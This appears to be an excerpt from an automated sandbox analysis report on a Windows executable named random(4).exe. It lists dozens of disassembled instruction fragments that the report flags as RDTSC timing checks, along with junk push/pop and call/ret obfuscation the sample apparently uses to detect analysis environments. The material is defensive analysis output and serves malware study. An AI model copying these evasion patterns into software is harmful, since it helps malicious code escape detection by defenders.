Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 890C53 second address: 890C61 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F0264E84AC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 891238 second address: 891243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 891243 second address: 891248 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 893FD4 second address: 718D7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F0264BBFB16h 0x00000009 jmp 00007F0264BBFB25h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 xor dword ptr [esp], 57B282EDh 0x00000018 push dword ptr [ebp+122D0B49h] 0x0000001e mov esi, eax 0x00000020 call dword ptr [ebp+122D2A95h] 0x00000026 pushad 0x00000027 mov dword ptr [ebp+122D3560h], edx 0x0000002d xor eax, eax 0x0000002f add dword ptr [ebp+122D1CCCh], ecx 0x00000035 mov edx, dword ptr [esp+28h] 0x00000039 jmp 00007F0264BBFB1Bh 0x0000003e jmp 00007F0264BBFB22h 0x00000043 mov dword ptr [ebp+122D2E4Fh], eax 0x00000049 mov dword ptr [ebp+122D3560h], esi 0x0000004f mov esi, 0000003Ch 0x00000054 xor dword ptr [ebp+122D3160h], edx 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e mov dword ptr [ebp+122D3560h], edx 0x00000064 lodsw 0x00000066 cmc 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b sub dword ptr [ebp+122D1CCCh], esi 0x00000071 mov ebx, dword ptr [esp+24h] 0x00000075 pushad 0x00000076 mov dword ptr [ebp+122D3560h], esi 0x0000007c and edx, dword ptr [ebp+122D2ED7h] 0x00000082 popad 0x00000083 push eax 0x00000084 push eax 0x00000085 push edx 0x00000086 push ecx 0x00000087 push eax 0x00000088 push edx 0x00000089 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 89407D second address: 8940C0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 add dword ptr [esp], 677B2E51h 0x0000000e mov dword ptr [ebp+122D1CD3h], ecx 0x00000014 push 00000003h 0x00000016 mov dx, E87Ah 0x0000001a call 00007F0264E84ACBh 0x0000001f mov cl, E4h 0x00000021 pop ecx 0x00000022 push 00000000h 0x00000024 mov edx, dword ptr [ebp+122D2F93h] 0x0000002a mov ecx, eax 0x0000002c push 00000003h 0x0000002e mov dword ptr [ebp+122D35DEh], eax 0x00000034 push 4167E353h 0x00000039 push edi 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8940C0 second address: 8940C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8940C6 second address: 89410E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 add dword ptr [esp], 7E981CADh 0x0000000d mov edi, dword ptr [ebp+122D2F1Bh] 0x00000013 lea ebx, dword ptr [ebp+1244EF31h] 0x00000019 mov dword ptr [ebp+122D3812h], eax 0x0000001f jmp 00007F0264E84AD8h 0x00000024 xchg eax, ebx 0x00000025 pushad 0x00000026 pushad 0x00000027 push edx 0x00000028 pop edx 0x00000029 pushad 0x0000002a popad 0x0000002b popad 0x0000002c pushad 0x0000002d jne 00007F0264E84AC6h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 894320 second address: 894379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0264BBFB1Ah 0x00000008 jng 00007F0264BBFB16h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 jng 00007F0264BBFB2Dh 0x0000001a push 00000000h 0x0000001c sub dword ptr [ebp+122D35DEh], ebx 0x00000022 push 5914D695h 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F0264BBFB24h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 894379 second address: 89437F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 89437F second address: 894383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 894383 second address: 894387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B4E27 second address: 8B4E5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB29h 0x00000007 jmp 00007F0264BBFB28h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B2E60 second address: 8B2E67 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B2E67 second address: 8B2E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B3364 second address: 8B3368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B3368 second address: 8B338E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 jc 00007F0264BBFB16h 0x0000000f pop edi 0x00000010 jbe 00007F0264BBFB1Eh 0x00000016 jns 00007F0264BBFB16h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 pop esi 0x00000024 push esi 0x00000025 pop esi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B34E4 second address: 8B34EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B34EA second address: 8B34EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B34EE second address: 8B34F6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B34F6 second address: 8B355C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0264BBFB3Fh 0x00000008 jmp 00007F0264BBFB1Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jmp 00007F0264BBFB29h 0x00000015 push eax 0x00000016 push edx 0x00000017 jg 00007F0264BBFB16h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B39A1 second address: 8B39C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0264E84ACCh 0x00000009 pop ebx 0x0000000a pushad 0x0000000b je 00007F0264E84AD6h 0x00000011 jmp 00007F0264E84ACAh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 889CC5 second address: 889CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 889CCB second address: 889CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0264E84ACDh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B3F56 second address: 8B3F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B3F5E second address: 8B3F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F0264E84AD4h 0x0000000b jmp 00007F0264E84ACDh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B44FD second address: 8B4501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B4501 second address: 8B4521 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84ACBh 0x00000007 jmp 00007F0264E84AD1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B482B second address: 8B4835 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B4835 second address: 8B483B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B483B second address: 8B483F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B483F second address: 8B484B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F0264E84AC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B49C9 second address: 8B49CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B49CD second address: 8B49D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B71D6 second address: 8B71DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B71DC second address: 8B71E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8B71E0 second address: 8B71FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0264BBFB27h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8BD35D second address: 8BD373 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84ACDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8BC3FA second address: 8BC402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C1796 second address: 8C179A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C179A second address: 8C17AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0264BBFB16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C17AC second address: 8C17B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C0DAF second address: 8C0DD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB24h 0x00000007 je 00007F0264BBFB16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C0DD1 second address: 8C0DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C0DD7 second address: 8C0DE1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0264BBFB16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C1604 second address: 8C1608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C1608 second address: 8C160E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C160E second address: 8C161E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F0264E84ACAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C161E second address: 8C1638 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F0264BBFB23h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C2689 second address: 8C26A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84AD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C29B2 second address: 8C29B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C2B52 second address: 8C2B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C330D second address: 8C333B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0264BBFB16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b js 00007F0264BBFB16h 0x00000011 jnl 00007F0264BBFB16h 0x00000017 popad 0x00000018 popad 0x00000019 mov dword ptr [esp], ebx 0x0000001c push ecx 0x0000001d mov dword ptr [ebp+122D37D7h], ecx 0x00000023 pop edi 0x00000024 push eax 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 jl 00007F0264BBFB16h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C333B second address: 8C333F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C342E second address: 8C3438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F0264BBFB16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C3E26 second address: 8C3E46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84AD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F0264E84AC6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C4759 second address: 8C4763 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0264BBFB16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C4763 second address: 8C4779 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007F0264E84AC6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e jng 00007F0264E84ACCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C6414 second address: 8C6418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C6418 second address: 8C646E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 add esi, 1CD54300h 0x0000000e pushad 0x0000000f mov edi, 5DFE3905h 0x00000014 push ebx 0x00000015 mov dword ptr [ebp+122D3C4Dh], edx 0x0000001b pop ebx 0x0000001c popad 0x0000001d push 00000000h 0x0000001f sub dword ptr [ebp+122D316Dh], edx 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a call 00007F0264E84AC8h 0x0000002f pop ebx 0x00000030 mov dword ptr [esp+04h], ebx 0x00000034 add dword ptr [esp+04h], 00000015h 0x0000003c inc ebx 0x0000003d push ebx 0x0000003e ret 0x0000003f pop ebx 0x00000040 ret 0x00000041 movzx edi, di 0x00000044 push eax 0x00000045 push esi 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F0264E84ACBh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C6FFB second address: 8C6FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C797B second address: 8C7980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C7980 second address: 8C79EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F0264BBFB24h 0x00000010 push 00000000h 0x00000012 mov di, CD04h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007F0264BBFB18h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D3734h], ebx 0x00000038 sub dword ptr [ebp+1247A045h], eax 0x0000003e xchg eax, ebx 0x0000003f jmp 00007F0264BBFB1Ch 0x00000044 push eax 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C79EA second address: 8C79EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C7765 second address: 8C776B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C79EE second address: 8C79F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C8F4D second address: 8C8F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C8F52 second address: 8C8FA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84AD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c je 00007F0264E84ACCh 0x00000012 sub dword ptr [ebp+122D3C5Ah], eax 0x00000018 mov edi, ecx 0x0000001a push 00000000h 0x0000001c mov esi, 3E55EA99h 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push ecx 0x00000026 call 00007F0264E84AC8h 0x0000002b pop ecx 0x0000002c mov dword ptr [esp+04h], ecx 0x00000030 add dword ptr [esp+04h], 0000001Ah 0x00000038 inc ecx 0x00000039 push ecx 0x0000003a ret 0x0000003b pop ecx 0x0000003c ret 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8C8FA8 second address: 8C8FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CD2B9 second address: 8CD2BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CD2BD second address: 8CD2C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CD2C8 second address: 8CD306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0264E84AD9h 0x00000009 popad 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e jnl 00007F0264E84AD2h 0x00000014 push eax 0x00000015 push edx 0x00000016 jns 00007F0264E84AC6h 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CE3E0 second address: 8CE3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F0264BBFB16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CE3F1 second address: 8CE401 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84ACCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CE6BB second address: 8CE6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CE6BF second address: 8CE6C5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8D0859 second address: 8D086C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8D159B second address: 8D159F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8D159F second address: 8D1614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F0264BBFB18h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 mov ebx, 4FCCEA00h 0x00000027 push 00000000h 0x00000029 stc 0x0000002a mov dword ptr [ebp+124799DCh], edx 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007F0264BBFB18h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c mov dword ptr [ebp+1244F31Eh], esi 0x00000052 mov di, 4F00h 0x00000056 xchg eax, esi 0x00000057 jg 00007F0264BBFB22h 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 push edi 0x00000061 push eax 0x00000062 pop eax 0x00000063 pop edi 0x00000064 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8D26E5 second address: 8D2704 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007F0264E84AC6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 jmp 00007F0264E84ACEh 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8D88D3 second address: 8D88EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0264BBFB25h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8DA86D second address: 8DA871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8D7C23 second address: 8D7C2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F0264BBFB16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8D8B06 second address: 8D8B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
